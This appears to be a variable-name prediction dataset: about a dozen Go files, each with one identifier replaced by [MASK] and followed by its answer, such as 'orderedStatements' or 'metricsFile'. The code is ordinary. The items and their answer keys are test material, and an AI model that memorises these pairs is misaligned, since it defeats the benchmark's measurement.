+ extra) // do interpolation for j := 1; j <= ( [MASK] + extra); j++ { c := color.RGBA{ R: uint8(int(cur.R) + (dR * j)), G: uint8(int(cur.G) + (dG * j)), B: uint8(int(cur.B) + (dB * j)), A: 255} ramp = append(ramp, c) } // if next is the last stop, it has to be added if i == len(stops)-2 { ramp = append(ramp, next) } } return ramp } ",betweenStops 476,"// Code generated from /Users/christopherpoulsen/dev/git/merideum-go/Merit.g4 by ANTLR 4.8. DO NOT EDIT. package parser // Merit import ( ""fmt"" ""reflect"" ""strconv"" ""github.com/antlr/antlr4/runtime/Go/antlr"" ) // Suppress unused import errors var _ = fmt.Printf var _ = reflect.Copy var _ = strconv.Itoa var parserATN = []uint16{ 3, 24715, 42794, 33075, 47597, 16764, 15335, 30598, 22884, 3, 10, 81, 4, 2, 9, 2, 4, 3, 9, 3, 4, 4, 9, 4, 4, 5, 9, 5, 4, 6, 9, 6, 4, 7, 9, 7, 4, 8, 9, 8, 4, 9, 9, 9, 3, 2, 3, 2, 3, 2, 3, 3, 7, 3, 23, 10, 3, 12, 3, 14, 3, 26, 11, 3, 3, 4, 3, 4, 5, 4, 30, 10, 4, 3, 5, 3, 5, 7, 5, 34, 10, 5, 12, 5, 14, 5, 37, 11, 5, 3, 5, 3, 5, 7, 5, 41, 10, 5, 12, 5, 14, 5, 44, 11, 5, 3, 5, 5, 5, 47, 10, 5, 3, 6, 5, 6, 50, 10, 6, 3, 6, 7, 6, 53, 10, 6, 12, 6, 14, 6, 56, 11, 6, 3, 6, 3, 6, 7, 6, 60, 10, 6, 12, 6, 14, 6, 63, 11, 6, 3, 6, 5, 6, 66, 10, 6, 3, 7, 3, 7, 7, 7, 70, 10, 7, 12, 7, 14, 7, 73, 11, 7, 3, 7, 3, 7, 3, 8, 3, 8, 3, 9, 3, 9, 3, 9, 2, 2, 10, 2, 4, 6, 8, 10, 12, 14, 16, 2, 3, 3, 2, 5, 6, 2, 82, 2, 18, 3, 2, 2, 2, 4, 24, 3, 2, 2, 2, 6, 29, 3, 2, 2, 2, 8, 31, 3, 2, 2, 2, 10, 49, 3, 2, 2, 2, 12, 67, 3, 2, 2, 2, 14, 76, 3, 2, 2, 2, 16, 78, 3, 2, 2, 2, 18, 19, 5, 4, 3, 2, 19, 20, 7, 2, 2, 3, 20, 3, 3, 2, 2, 2, 21, 23, 5, 6, 4, 2, 22, 21, 3, 2, 2, 2, 23, 26, 3, 2, 2, 2, 24, 22, 3, 2, 2, 2, 24, 25, 3, 2, 2, 2, 25, 5, 3, 2, 2, 2, 26, 24, 3, 2, 2, 2, 27, 30, 5, 10, 6, 2, 28, 30, 5, 8, 5, 2, 29, 27, 3, 2, 2, 2, 29, 28, 3, 2, 2, 2, 30, 7, 3, 2, 2, 2, 31, 35, 7, 4, 2, 2, 32, 34, 7, 10, 2, 2, 33, 32, 3, 2, 2, 2, 34, 37, 3, 2, 2, 2, 35, 33, 3, 2, 2, 2, 35, 36, 3, 2, 2, 2, 36, 38, 3, 2, 2, 2, 37, 35, 3, 2, 2, 2, 38, 42, 7, 7, 2, 2, 39, 41, 7, 10, 2, 2, 40, 39, 3, 2, 2, 2, 41, 44, 3, 2, 2, 2, 42, 40, 3, 2, 2, 2, 42, 43, 3, 2, 2, 2, 43, 46, 3, 2, 2, 2, 44, 42, 3, 2, 2, 2, 45, 47, 5, 12, 7, 2, 46, 45, 3, 2, 2, 2, 46, 47, 3, 2, 2, 2, 47, 9, 3, 2, 2, 2, 48, 50, 5, 16, 9, 2, 49, 48, 3, 2, 2, 2, 49, 50, 3, 2, 2, 2, 50, 54, 3, 2, 2, 2, 51, 53, 7, 10, 2, 2, 52, 51, 3, 2, 2, 2, 53, 56, 3, 2, 2, 2, 54, 52, 3, 2, 2, 2, 54, 55, 3, 2, 2, 2, 55, 57, 3, 2, 2, 2, 56, 54, 3, 2, 2, 2, 57, 61, 7, 7, 2, 2, 58, 60, 7, 10, 2, 2, 59, 58, 3, 2, 2, 2, 60, 63, 3, 2, 2, 2, 61, 59, 3, 2, 2, 2, 61, 62, 3, 2, 2, 2, 62, 65, 3, 2, 2, 2, 63, 61, 3, 2, 2, 2, 64, 66, 5, 12, 7, 2, 65, 64, 3, 2, 2, 2, 65, 66, 3, 2, 2, 2, 66, 11, 3, 2, 2, 2, 67, 71, 7, 3, 2, 2, 68, 70, 7, 10, 2, 2, 69, 68, 3, 2, 2, 2, 70, 73, 3, 2, 2, 2, 71, 69, 3, 2, 2, 2, 71, 72, 3, 2, 2, 2, 72, 74, 3, 2, 2, 2, 73, 71, 3, 2, 2, 2, 74, 75, 5, 14, 8, 2, 75, 13, 3, 2, 2, 2, 76, 77, 7, 9, 2, 2, 77, 15, 3, 2, 2, 2, 78, 79, 9, 2, 2, 2, 79, 17, 3, 2, 2, 2, 12, 24, 29, 35, 42, 46, 49, 54, 61, 65, 71, } var deserializer = antlr.NewATNDeserializer(nil) var deserializedATN = deserializer.DeserializeFromUInt16(parserATN) var literalNames = []string{ """", ""'='"", ""'output'"", ""'const'"", ""'var'"", } var symbolicNames = []string{ """", ""ASSIGN"", ""OUTPUT"", ""CONST"", ""VAR"", ""IDENTIFIER"", ""LETTER"", ""INTEGER"", ""WS"", } var ruleNames = []string{ ""parse"", ""block"", ""statement"", ""outputAssignment"", ""variableAssignment"", ""assignment"", ""expression"", ""variableModifier"", } var decisionToDFA = make([]*antlr.DFA, len(deserializedATN.DecisionToState)) func init() { for index, ds := range deserializedATN.DecisionToState { decisionToDFA[index] = antlr.NewDFA(ds, index) } } type MeritParser struct { *antlr.BaseParser } func NewMeritParser(input antlr.TokenStream) *MeritParser { this := new(MeritParser) this.BaseParser = antlr.NewBaseParser(input) this.Interpreter = antlr.NewParserATNSimulator(this, deserializedATN, decisionToDFA, antlr.NewPredictionContextCache()) this.RuleNames = ruleNames this.LiteralNames = literalNames this.SymbolicNames = symbolicNames this.GrammarFileName = ""Merit.g4"" return this } // MeritParser tokens. const ( MeritParserEOF = antlr.TokenEOF MeritParserASSIGN = 1 MeritParserOUTPUT = 2 MeritParserCONST = 3 MeritParserVAR = 4 MeritParserIDENTIFIER = 5 MeritParserLETTER = 6 MeritParserINTEGER = 7 MeritParserWS = 8 ) // MeritParser rules. const ( MeritParserRULE_parse = 0 MeritParserRULE_block = 1 MeritParserRULE_statement = 2 MeritParserRULE_outputAssignment = 3 MeritParserRULE_variableAssignment = 4 MeritParserRULE_assignment = 5 MeritParserRULE_expression = 6 MeritParserRULE_variableModifier = 7 ) // IParseContext is an interface to support dynamic dispatch. type IParseContext interface { antlr.ParserRuleContext // GetParser returns the parser. GetParser() antlr.Parser // IsParseContext differentiates from other interfaces. IsParseContext() } type ParseContext struct { *antlr.BaseParserRuleContext parser antlr.Parser } func NewEmptyParseContext() *ParseContext { var p = new(ParseContext) p.BaseParserRuleContext = antlr.NewBaseParserRuleContext(nil, -1) p.RuleIndex = MeritParserRULE_parse return p } func (*ParseContext) IsParseContext() {} func NewParseContext(parser antlr.Parser, parent antlr.ParserRuleContext, invokingState int) *ParseContext { var p = new(ParseContext) p.BaseParserRuleContext = antlr.NewBaseParserRuleContext(parent, invokingState) p.parser = parser p.RuleIndex = MeritParserRULE_parse return p } func (s *ParseContext) GetParser() antlr.Parser { return s.parser } func (s *ParseContext) Block() IBlockContext { var t = s.GetTypedRuleContext(reflect.TypeOf((*IBlockContext)(nil)).Elem(), 0) if t == nil { return nil } return t.(IBlockContext) } func (s *ParseContext) EOF() antlr.TerminalNode { return s.GetToken(MeritParserEOF, 0) } func (s *ParseContext) GetRuleContext() antlr.RuleContext { return s } func (s *ParseContext) ToStringTree(ruleNames []string, recog antlr.Recognizer) string { return antlr.TreesStringTree(s, ruleNames, recog) } func (s *ParseContext) EnterRule(listener antlr.ParseTreeListener) { if listenerT, ok := listener.(MeritListener); ok { listenerT.EnterParse(s) } } func (s *ParseContext) ExitRule(listener antlr.ParseTreeListener) { if listenerT, ok := listener.(MeritListener); ok { listenerT.ExitParse(s) } } func (s *ParseContext) Accept(visitor antlr.ParseTreeVisitor) interface{} { switch t := visitor.(type) { case MeritVisitor: return t.VisitParse(s) default: return t.VisitChildren(s) } } func (p *MeritParser) Parse() (localctx IParseContext) { localctx = NewParseContext(p, p.GetParserRuleContext(), p.GetState()) p.EnterRule(localctx, 0, MeritParserRULE_parse) defer func() { p.ExitRule() }() defer func() { if err := recover(); err != nil { if v, ok := err.(antlr.RecognitionException); ok { localctx.SetException(v) p.GetErrorHandler().ReportError(p, v) p.GetErrorHandler().Recover(p, v) } else { panic(err) } } }() p.EnterOuterAlt(localctx, 1) { p.SetState(16) p.Block() } { p.SetState(17) p.Match(MeritParserEOF) } return localctx } // IBlockContext is an interface to support dynamic dispatch. type IBlockContext interface { antlr.ParserRuleContext // GetParser returns the parser. GetParser() antlr.Parser // IsBlockContext differentiates from other interfaces. IsBlockContext() } type BlockContext struct { *antlr.BaseParserRuleContext parser antlr.Parser } func NewEmptyBlockContext() *BlockContext { var p = new(BlockContext) p.BaseParserRuleContext = antlr.NewBaseParserRuleContext(nil, -1) p.RuleIndex = MeritParserRULE_block return p } func (*BlockContext) IsBlockContext() {} func NewBlockContext(parser antlr.Parser, parent antlr.ParserRuleContext, invokingState int) *BlockContext { var p = new(BlockContext) p.BaseParserRuleContext = antlr.NewBaseParserRuleContext(parent, invokingState) p.parser = parser p.RuleIndex = MeritParserRULE_block return p } func (s *BlockContext) GetParser() antlr.Parser { return s.parser } func (s *BlockContext) AllStatement() []IStatementContext { var ts = s.GetTypedRuleContexts(reflect.TypeOf((*IStatementContext)(nil)).Elem()) var [MASK] = make([]IStatementContext, len(ts)) for i, t := range ts { if t != nil { [MASK] [i] = t.(IStatementContext) } } return [MASK] } func (s *BlockContext) Statement(i int) IStatementContext { var t = s.GetTypedRuleContext(reflect.TypeOf((*IStatementContext)(nil)).Elem(), i) if t == nil { return nil } return t.(IStatementContext) } func (s *BlockContext) GetRuleContext() antlr.RuleContext { return s } func (s *BlockContext) ToStringTree(ruleNames []string, recog antlr.Recognizer) string { return antlr.TreesStringTree(s, ruleNames, recog) } func (s *BlockContext) EnterRule(listener antlr.ParseTreeListener) { if listenerT, ok := listener.(MeritListener); ok { listenerT.EnterBlock(s) } } func (s *BlockContext) ExitRule(listener antlr.ParseTreeListener) { if listenerT, ok := listener.(MeritListener); ok { listenerT.ExitBlock(s) } } func (s *BlockContext) Accept(visitor antlr.ParseTreeVisitor) interface{} { switch t := visitor.(type) { case MeritVisitor: return t.VisitBlock(s) default: return t.VisitChildren(s) } } func (p *MeritParser) Block() (localctx IBlockContext) { localctx = NewBlockContext(p, p.GetParserRuleContext(), p.GetState()) p.EnterRule(localctx, 2, MeritParserRULE_block) var _la int defer func() { p.ExitRule() }() defer func() { if err := recover(); err != nil { if v, ok := err.(antlr.RecognitionException); ok { localctx.SetException(v) p.GetErrorHandler().ReportError(p, v) p.GetErrorHandler().Recover(p, v) } else { panic(err) } } }() p.EnterOuterAlt(localctx, 1) p.SetState(22) p.GetErrorHandler().Sync(p) _la = p.GetTokenStream().LA(1) for ((_la)&-(0x1f+1)) == 0 && ((1< 0 ts, ok := t.TestMap[fmt.Sprintf(""%s.%s"", te.Package, te.Test)] if !ok { if [MASK] { t.Runs++ } ts = &TestSummary{Package: te.Package, Test: te.Test, Events: make([]*TestEvent, 0), OutputLines: make([]string, 0), BenchmarkLines: make([]string, 0)} if t.TestMap == nil { t.TestMap = make(map[string]*TestSummary) } t.TestMap[fmt.Sprintf(""%s.%s"", te.Package, te.Test)] = ts } if [MASK] { switch te.Action { case TestEventAction_fail: t.Failures++ case TestEventAction_skip: t.Skips++ case TestEventAction_pass: t.Passes++ } } ts.Add(te) } func (t *TestSummary) Add(te *TestEvent) { t.Events = append(t.Events, te) switch te.Action { case TestEventAction_skip: t.Skipped = true case TestEventAction_fail: t.Failed = true case TestEventAction_output: t.OutputLines = append(t.OutputLines, te.Output) case TestEventAction_bench: t.BenchmarkLines = append(t.BenchmarkLines, te.Output) } } ",isTest 481,"package main import ( ""fmt"" ""strconv"" ""strings"" ) // Data is interface for Mydata. type Data interface { SetValue(vals map[string]string) PrintData() } // Mydata is structure type Mydata struct { Name string Data []int } // Initial is init method func (md *Mydata) SetValue(vals map[string]string) { md.Name = vals[""name""] [MASK] := strings.Split(vals[""data""], "" "") vali := []int{} for _, i := range [MASK] { n, _ := strconv.Atoi(i) vali = append(vali, n) } md.Data = vali } // PrintData is println all data. func (md *Mydata) PrintData() { if md != nil { fmt.Println(""Name: "", md.Name) fmt.Println(""Data: "", md.Data) } else { fmt.Println(""** This is Nil value.**"") } } // Yourdata is structure type Yourdata struct { Name string Mail string Age int } func (yd *Yourdata) SetValue(vals map[string]string) { yd.Name = vals[""name""] yd.Mail = vals[""mail""] n, _ := strconv.Atoi(vals[""age""]) yd.Age = n } func (yd *Yourdata) PrintData() { fmt.Printf(""I'm %s. (%d).\n"", yd.Name, yd.Age) fmt.Printf(""mail: %s.\n"", yd.Mail) } func main() { var nilObj *Mydata nilObj.PrintData() ob := [2]Data{} ob[0] = new(Mydata) ob[0].SetValue(map[string]string{ ""name"": ""Sachiko"", ""data"": ""55, 66, 77"", }) ob[1] = new(Yourdata) ob[1].SetValue(map[string]string{ ""name"": ""Mami"", ""mail"": """", ""age"": ""34"", }) for _, d := range ob { d.PrintData() fmt.Println() } } ",valt 482,"package smtp import ( ""fmt"" ""net/smtp"" ""go.k6.io/k6/js/modules"" ) func init() { modules.Register(""k6/x/smtp"", new(SMTP)) } type SMTP struct{} type options struct { Subject string `js:""subject""` Message string `js:""message""` UDW []string `js:""udw""` } func check(e error) { if e != nil { fmt.Println(e) } } func plainAuth(host string, password string, sender string) smtp.Auth { return smtp.PlainAuth("""", sender, password, host) } func (*SMTP) SendMail(host string, port string, sender string, password string, recipient string, options options) { emailMessage := ""From: "" + sender + ""\r\n"" + ""To: "" + recipient + ""\r\n"" if options.Subject != """" { emailMessage += ""Subject: "" + options.Subject + ""\r\n\r\n"" } if options.Message != """" { emailMessage += options.Message } if len(options.UDW) == 0 { options.UDW = []string{recipient} } body := []byte(emailMessage) [MASK] := plainAuth(host, password, sender) err := smtp.SendMail(host+"":""+port, [MASK] , sender, options.UDW, body) check(err) } ",auth 483,"package cmd import ( ""chainguard.dev/apko/pkg/apk/fs"" ""context"" ""fmt"" cbev1 ""github.com/Snakdy/container-build-engine/pkg/api/v1"" ""github.com/Snakdy/container-build-engine/pkg/builder"" ""github.com/Snakdy/container-build-engine/pkg/containers"" ""github.com/Snakdy/container-build-engine/pkg/pipelines"" ""github.com/go-logr/logr"" v1 ""github.com/google/go-containerregistry/pkg/v1"" ""github.com/spf13/cobra"" ""k8s.io/apimachinery/pkg/util/yaml"" ""os"" ""path/filepath"" ) var buildCmd = &cobra.Command{ Use: ""build"", Short: ""build an image"", RunE: build, } const ( flagConfig = ""config"" flagSave = ""save"" flagImage = ""image"" flagTag = ""tag"" flagPlatform = ""platform"" ) func init() { buildCmd.Flags().StringP(flagConfig, ""c"", """", ""path to an image configuration file"") buildCmd.Flags().String(flagSave, """", ""path to save the image as a tar archive"") buildCmd.Flags().String(flagImage, """", ""oci image path (without tag) to push the image"") buildCmd.Flags().StringArrayP(flagTag, ""t"", nil, ""tags to push"") buildCmd.Flags().String(flagPlatform, ""linux/amd64"", ""build platform"") _ = buildCmd.MarkFlagRequired(flagConfig) _ = buildCmd.MarkFlagFilename(flagConfig, "".yaml"", "".yml"") buildCmd.MarkFlagsMutuallyExclusive(flagSave, flagImage) buildCmd.MarkFlagsRequiredTogether(flagImage, flagTag) } func build(cmd *cobra.Command, _ []string) error { log := logr.FromContextOrDiscard(cmd.Context()) configPath, _ := cmd.Flags().GetString(flagConfig) localPath, _ := cmd.Flags().GetString(flagSave) ociPath, _ := cmd.Flags().GetString(flagImage) tags, _ := cmd.Flags().GetStringArray(flagTag) platform, _ := cmd.Flags().GetString(flagPlatform) imgPlatform, err := v1.ParsePlatform(platform) if err != nil { log.Error(err, ""failed to parse platform"") return err } wd, err := os.Getwd() if err != nil { return err } // read the config file cfg, err := readConfig(configPath) if err != nil { return err } b, err := newBuilder(cmd.Context(), cfg, nil, wd) if err != nil { return err } img, err := b.Build(cmd.Context(), imgPlatform) if err != nil { return err } if localPath != """" { return containers.Save(cmd.Context(), img, ""image"", localPath) } // push all tags for _, t := range tags { if err := containers.Push(cmd.Context(), img, fmt.Sprintf(""%s:%s"", ociPath, t)); err != nil { return err } } return nil } func readConfig(s string) (cbev1.Pipeline, error) { f, err := os.Open(filepath.Clean(s)) if err != nil { return cbev1.Pipeline{}, err } var config cbev1.Pipeline if err := yaml.NewYAMLOrJSONDecoder(f, 4).Decode(&config); err != nil { return cbev1.Pipeline{}, err } return config, nil } // newBuilder converts our cbev1.Pipeline into the underlying pipeline // resources. func newBuilder(ctx context.Context, pipeline cbev1.Pipeline, statementFinder pipelines.StatementFinder, workingDir string) (*builder.Builder, error) { // if the user didn't specify a statement finder, we // need to use the default one if statementFinder == nil { statementFinder = pipelines.Find } [MASK] := make([]pipelines.OrderedPipelineStatement, len(pipeline.Statements)) for i := range pipeline.Statements { statement := statementFinder(pipeline.Statements[i].Name, pipeline.Statements[i].Options) if statement == nil { return nil, fmt.Errorf(""could not find statement '%s'"", pipeline.Statements[i].Name) } [MASK] [i] = pipelines.OrderedPipelineStatement{ ID: pipeline.Statements[i].ID, Statement: statement, DependsOn: pipeline.Statements[i].DependsOn, } } return builder.NewBuilder(ctx, pipeline.Base, [MASK] , builder.Options{ WorkingDir: workingDir, Entrypoint: pipeline.Config.Entrypoint, Command: pipeline.Config.Command, ForceEntrypoint: pipeline.Config.OverwriteEntrypoint, FS: fs.NewMemFS(), }) } ",orderedStatements 484,"package internal import ( ""context"" ""encoding/json"" ""errors"" ""fmt"" ""github.com/dgrijalva/jwt-go"" ""golang.org/x/net/context/ctxhttp"" ""io"" ""io/ioutil"" ""mime"" ""net/http"" ""net/url"" ""strconv"" ""strings"" ""time"" ) type Token struct { Jwt string User UserProfile Raw interface{} Expiry time.Time } // tokenJSON is the struct representing the HTTP response from Strapi's /auth/local endpoint // https://strapi.io/documentation/3.0.0-beta.x/guides/authentication.html type tokenJSON struct { Jwt string `json:""jwt""` User userProfileJson `json:""user""` } func newTokenRequest(authUrl, identifier, password string, v url.Values) (*http.Request, error) { v = cloneURLValues(v) if identifier != """" { v.Set(""identifier"", identifier) } if password != """" { v.Set(""password"", password) } data := v.Encode() req, err := http.NewRequest(""POST"", authUrl, strings.NewReader(data)) if err != nil { return nil, err } req.Header.Add(""Content-Type"", ""application/x-www-form-urlencoded"") req.Header.Add(""Content-Length"", strconv.Itoa(len(data))) return req, nil } func cloneURLValues(v url.Values) url.Values { v2 := make(url.Values, len(v)) for k, vv := range v { v2[k] = append([]string(nil), vv...) } return v2 } func RetrieveToken(ctx context.Context, identifier, password, authUrl string, v url.Values) (*Token, error) { req, err := newTokenRequest(authUrl, identifier, password, v) if err != nil { return nil, err } token, err := doTokenRoundTrip(ctx, req) if err != nil { return nil, err } return token, err } func doTokenRoundTrip(ctx context.Context, req *http.Request) (*Token, error) { r, err := ctxhttp.Do(ctx, ContextClient(ctx), req) if err != nil { return nil, err } body, err := ioutil.ReadAll(io.LimitReader(r.Body, 1<<20)) _ = r.Body.Close() if err != nil { return nil, fmt.Errorf(""strapi-auth: cannot fetch token: %v"", err) } if code := r.StatusCode; code < 200 || code > 299 { return nil, &RetrieveError{ Response: r, Body: body, } } var token *Token content, _, _ := mime.ParseMediaType(r.Header.Get(""Content-Type"")) // todo: decode jwt and save when the token expires switch content { case ""application/x-www-form-urlencoded"", ""text/plain"": vals, err := url.ParseQuery(string(body)) if err != nil { return nil, err } token = &Token{ Jwt: vals.Get(""jwt""), User: UserProfile{}, Raw: vals, } parsedToken, err := ParseJwt(token.Jwt) if err != nil { return nil, err } expires := ExtractExp(parsedToken.Claims) if expires != 0 { token.Expiry = time.Now().Add(time.Duration(expires) * time.Second) } default: var tj tokenJSON if err = json.Unmarshal(body, &tj); err != nil { return nil, err } token = &Token{ Jwt: tj.Jwt, Expiry: tj.expiry(), User: UserProfile{ Id: tj.User.Id, Blocked: tj.User.Blocked, Confirmed: tj.User.Confirmed, CreatedAt: tj.User.CreatedAt, Email: tj.User.Email, Provider: tj.User.Provider, Role: StrapiRole{ Id: tj.User.Role.Id, Name: tj.User.Role.Name, Description: tj.User.Role.Description, Type: tj.User.Role.Type, }, UpdatedAt: tj.User.UpdatedAt, Username: tj.User.Username, }, } _ = json.Unmarshal(body, &token.Raw) } if token.Jwt == """" { return nil, errors.New(""strapi-auth: server response missing jwt field"") } return token, nil } type RetrieveError struct { Response *http.Response Body []byte } func (r *RetrieveError) Error() string { return fmt.Sprintf(""strapi-auth: cannot fetch token: %v\nResponse: %s"", r.Response.Status, r.Body) } func (e *tokenJSON) expiry() (t time.Time) { parsedToken, err := ParseJwt(e.Jwt) if err != nil { return } if v := ExtractExp(parsedToken.Claims); v != 0 { return time.Now().Add(time.Duration(v) * time.Second) } return } func ExtractExp(c jwt.Claims) int64 { claims := c.(jwt.MapClaims) switch exp := claims[""exp""].(type) { case float64: return int64(exp) case json.Number: v, _ := exp.Int64() return v } return 0 } func ParseJwt(_jwt string) (*jwt.Token, error) { [MASK] := jwt.Parser{} parsedToken, _, err := [MASK] .ParseUnverified(_jwt, jwt.MapClaims{}) return parsedToken, err } ",parser 485,"package main import ( ""encoding/json"" ""fmt"" ""io/ioutil"" ""log"" ""net/http"" ""github.com/namsral/flag"" ""github.com/prometheus/client_golang/prometheus"" ""github.com/prometheus/client_golang/prometheus/promhttp"" ""github.com/aexel90/shelly_exporter/collector"" ""github.com/aexel90/shelly_exporter/metric"" ) var ( flagAddress = flag.String(""listen-address"", ""127.0.0.1:9784"", ""The address to listen on for HTTP requests."") //TODO port? flagMetricsFile = flag.String(""metrics-file"", ""shelly-metrics.json"", ""The JSON file with the metric definitions."") flagTest = flag.Bool(""test"", false, ""Test configured metrics"") ) func main() { flag.Parse() var [MASK] *metric.MetricsFile err := readAndParseFile(*flagMetricsFile, & [MASK] ) if err != nil { fmt.Println(err) return } shellyCollector, err := collector.NewShellyCollector( [MASK] ) if err != nil { fmt.Println(err) return } if *flagTest { shellyCollector.Test() } else { prometheus.MustRegister(shellyCollector) http.Handle(""/metrics"", promhttp.Handler()) fmt.Printf(""metrics available at http://%s/metrics\n"", *flagAddress) log.Fatal(http.ListenAndServe(*flagAddress, nil)) } } func readAndParseFile(file string, v interface{}) error { jsonData, err := ioutil.ReadFile(file) if err != nil { return fmt.Errorf(""error reading metric file: %v"", err) } err = json.Unmarshal(jsonData, v) if err != nil { return fmt.Errorf(""error parsing JSON: %v"", err) } return nil } ",metricsFile 486,"package main import ( ""fmt"" ""hash/fnv"" ""io/ioutil"" ""path"" ""time"" ""github.com/spf13/viper"" ) type cacheItem struct { location string filename string } func newCacheItem(location string) *cacheItem { // create a hash for the specified location to be used as the file name hash := fnv.New64a() hash.Write([]byte(location)) return &cacheItem{ location: location, filename: fmt.Sprintf(""%x"", hash.Sum64()), } } func (cache *cacheItem) exists() bool { return fileExists(cache.path()) } func (cache *cacheItem) outOfDate() bool { if [MASK] , err := fileModifiedTime(cache.path()); err == nil { // determine whether the last time the file was modified was longer than // the configured cache length return time.Now().Sub( [MASK] ).Seconds() > float64(viper.GetInt(cacheLengthKey)) } return true } func (cache *cacheItem) path() string { return path.Join(viper.GetString(cacheDirectoryKey), cache.filename) } func (cache *cacheItem) save(data []byte) error { return ioutil.WriteFile(cache.path(), data, 0644) } ",lastModified 487,"// +build mosn_debug package debug import ( ""encoding/json"" ""fmt"" ""io/ioutil"" ""net/http"" ""strconv"" admin ""mosn.io/mosn/pkg/admin/server"" ""mosn.io/mosn/pkg/config/v2"" ""mosn.io/mosn/pkg/configmanager"" ""mosn.io/mosn/pkg/log"" ""mosn.io/mosn/pkg/router"" ""mosn.io/mosn/pkg/server"" ""mosn.io/mosn/pkg/upstream/cluster"" ) // This pakcage is only builded in debug mode/test mode. // Production usage should not build with tags `mosn_debug`. // The functions in this package is dangerous in production. type UpdateConfigRequest struct { Type string `json:""type""` Config json.RawMessage `json:""config""` } func init() { log.StartLogger.Infof(""mosn is builded in debug mosn"") admin.RegisterAdminHandleFunc(""/debug/update_config"", DebugUpdateMosnConfig) admin.RegisterAdminHandleFunc(""/debug/disable_tls"", DebugUpdateTLSDisable) } // The config types support to be updated const ( typListener = ""listener"" typRouter = ""router"" typCluster = ""cluster"" // include hosts typeExtend = ""extend"" ) var success = []byte(""success"") func DebugUpdateMosnConfig(w http.ResponseWriter, r *http.Request) { [MASK] , err := ioutil.ReadAll(r.Body) if err != nil { log.DefaultLogger.Errorf(""api [update mosn config] read body error: %v"", err) w.WriteHeader(http.StatusBadRequest) fmt.Fprint(w, ""invalid request"") return } invalid := func(s string) { log.DefaultLogger.Errorf(""api [update mosn config] is not a valid request: %s"", s) w.WriteHeader(http.StatusBadRequest) fmt.Fprint(w, ""invalid request"") } req := &UpdateConfigRequest{} if err := json.Unmarshal( [MASK] , req); err != nil { invalid(string( [MASK] )) return } switch req.Type { case typListener: ln := &v2.Listener{} if err := json.Unmarshal(req.Config, ln); err != nil { invalid(string(req.Config)) return } adapter := server.GetListenerAdapterInstance() // we support only one server now. the server name is equal to default server name // use empty server name to index default server if err := adapter.AddOrUpdateListener("""", ln); err != nil { invalid(err.Error()) return } log.DefaultLogger.Infof(""update listener config success"") w.Write(success) case typRouter: r := &v2.RouterConfiguration{} if err := json.Unmarshal(req.Config, r); err != nil { invalid(string(req.Config)) return } mng := router.GetRoutersMangerInstance() if err := mng.AddOrUpdateRouters(r); err != nil { invalid(err.Error()) return } log.DefaultLogger.Infof(""update router config success"") w.Write(success) case typCluster: c := v2.Cluster{} if err := json.Unmarshal(req.Config, &c); err != nil { invalid(string(req.Config)) return } adapter := cluster.GetClusterMngAdapterInstance() if err := adapter.TriggerClusterAndHostsAddOrUpdate(c, c.Hosts); err != nil { invalid(err.Error()) return } log.DefaultLogger.Infof(""update cluster config success"") w.Write(success) case typeExtend: ext := map[string]json.RawMessage{} if err := json.Unmarshal(req.Config, &ext); err != nil { invalid(string(req.Config)) return } // just update config for typ, c := range ext { configmanager.SetExtend(typ, c) } log.DefaultLogger.Infof(""update extend config success"") w.Write(success) default: fmt.Fprint(w, ""invalid type, do nothing"") } } func DebugUpdateTLSDisable(w http.ResponseWriter, r *http.Request) { invalid := func(s string) { log.DefaultLogger.Errorf(""api [update mosn config] is not a valid request: %s"", s) w.WriteHeader(http.StatusBadRequest) fmt.Fprint(w, ""invalid request"") } r.ParseForm() v := r.FormValue(""disable"") t, err := strconv.ParseBool(v) if err != nil { invalid(err.Error()) return } if t { log.DefaultLogger.Infof(""disable global tls"") cluster.DisableClientSideTLS() } else { log.DefaultLogger.Infof(""enable global tls"") cluster.EnableClientSideTLS() } w.Write(success) } ",content 488,"package main import ( ""api-gateway/internal/app"" grpcauthserver ""api-gateway/internal/storage/grpc/auth"" grpcusersstorage ""api-gateway/internal/storage/grpc/users"" userscashstorage ""api-gateway/internal/storage/redis/users"" ""api-gateway/pkg/config"" ""api-gateway/pkg/lib/logger"" ""log/slog"" ""os"" ""os/signal"" ""syscall"" ) func main() { cfg := config.MustLoadEnv() log := logger.SetupLogger(cfg.Env) log.Info(""application configured"", slog.Any(""config"", cfg)) grpcUsersApiConnection := grpcusersstorage.New(log, cfg.GrpcUsersAPIHost, cfg.GrpcUsersAPIPort) log.Info(""connection to usersService done"") [MASK] := grpcauthserver.New(log, cfg.GrpcAuthAPIHost, cfg.GrpcAuthAPIPort) log.Info(""connection to authService done"") redisConnection := userscashstorage.New(log, cfg.RedisHost, cfg.RedisPort, cfg.ExpirationTime) log.Info(""connection to redis done"") application := app.New(cfg, log, grpcUsersApiConnection, [MASK] , redisConnection) go func() { application.MustRun() }() stop := make(chan os.Signal, 1) signal.Notify(stop, syscall.SIGINT, syscall.SIGTERM) <-stop grpcUsersApiConnection.Close() log.Info(""grpcUsersApiConnection closed"") redisConnection.Close() log.Info(""redisConnection closed"") log.Info(""application stoped"") } ",grpcAuthApiConnection 489,"package command import ( ""flag"" ""io/ioutil"" ""fmt"" api ""github.com/elodina/stack-deploy/framework"" ) type AddStackCommand struct{} func (asc *AddStackCommand) Run(args []string) int { var ( flags = flag.NewFlagSet(""add"", flag.ExitOnError) [MASK] = flags.String(""api"", """", ""Stack-deploy server address."") stackFile = flags.String(""file"", ""Stackfile"", ""Stackfile with Application Configs"") ) flags.Parse(args) stackDeployApi, err := resolveApi(* [MASK] ) if err != nil { fmt.Printf(""ERROR: %s\n"", err) return 1 } client := api.NewClient(stackDeployApi) stack, err := ioutil.ReadFile(*stackFile) if err != nil { fmt.Printf(""Can't read file %s\n"", *stackFile) return 1 } err = client.CreateStack(&api.CreateStackRequest{ Stackfile: string(stack), }) if err != nil { fmt.Printf(""ERROR: %s\n"", err) return 1 } fmt.Println(""Stack added"") return 0 } func (asc *AddStackCommand) Help() string { return """" } func (asc *AddStackCommand) Synopsis() string { return ""Add new stack"" } ",apiUrl 490,"package xlsy import ( ""fmt"" ""strconv"" ) type Cursor int func (c *Cursor) clone() Cursor { return *c } func (c Cursor) ptr() *Cursor { return &c } func (c *Cursor) value(row bool) int { if row { return c.row() } return c.column() } func numberToColumn(num int) string { num++ [MASK] := """" for num > 0 { num-- // adjust for 0-indexed counting remainder := num % 26 [MASK] = string([]byte{byte(remainder + 65)}) + [MASK] num /= 26 } if [MASK] == """" { return ""A"" } return [MASK] } func (c Cursor) String() string { //if inverted { // y := strconv.Itoa(1 + c.column()) // x := numberToColumn(c.row()) // return string(append([]byte(x), y...)) //} y := 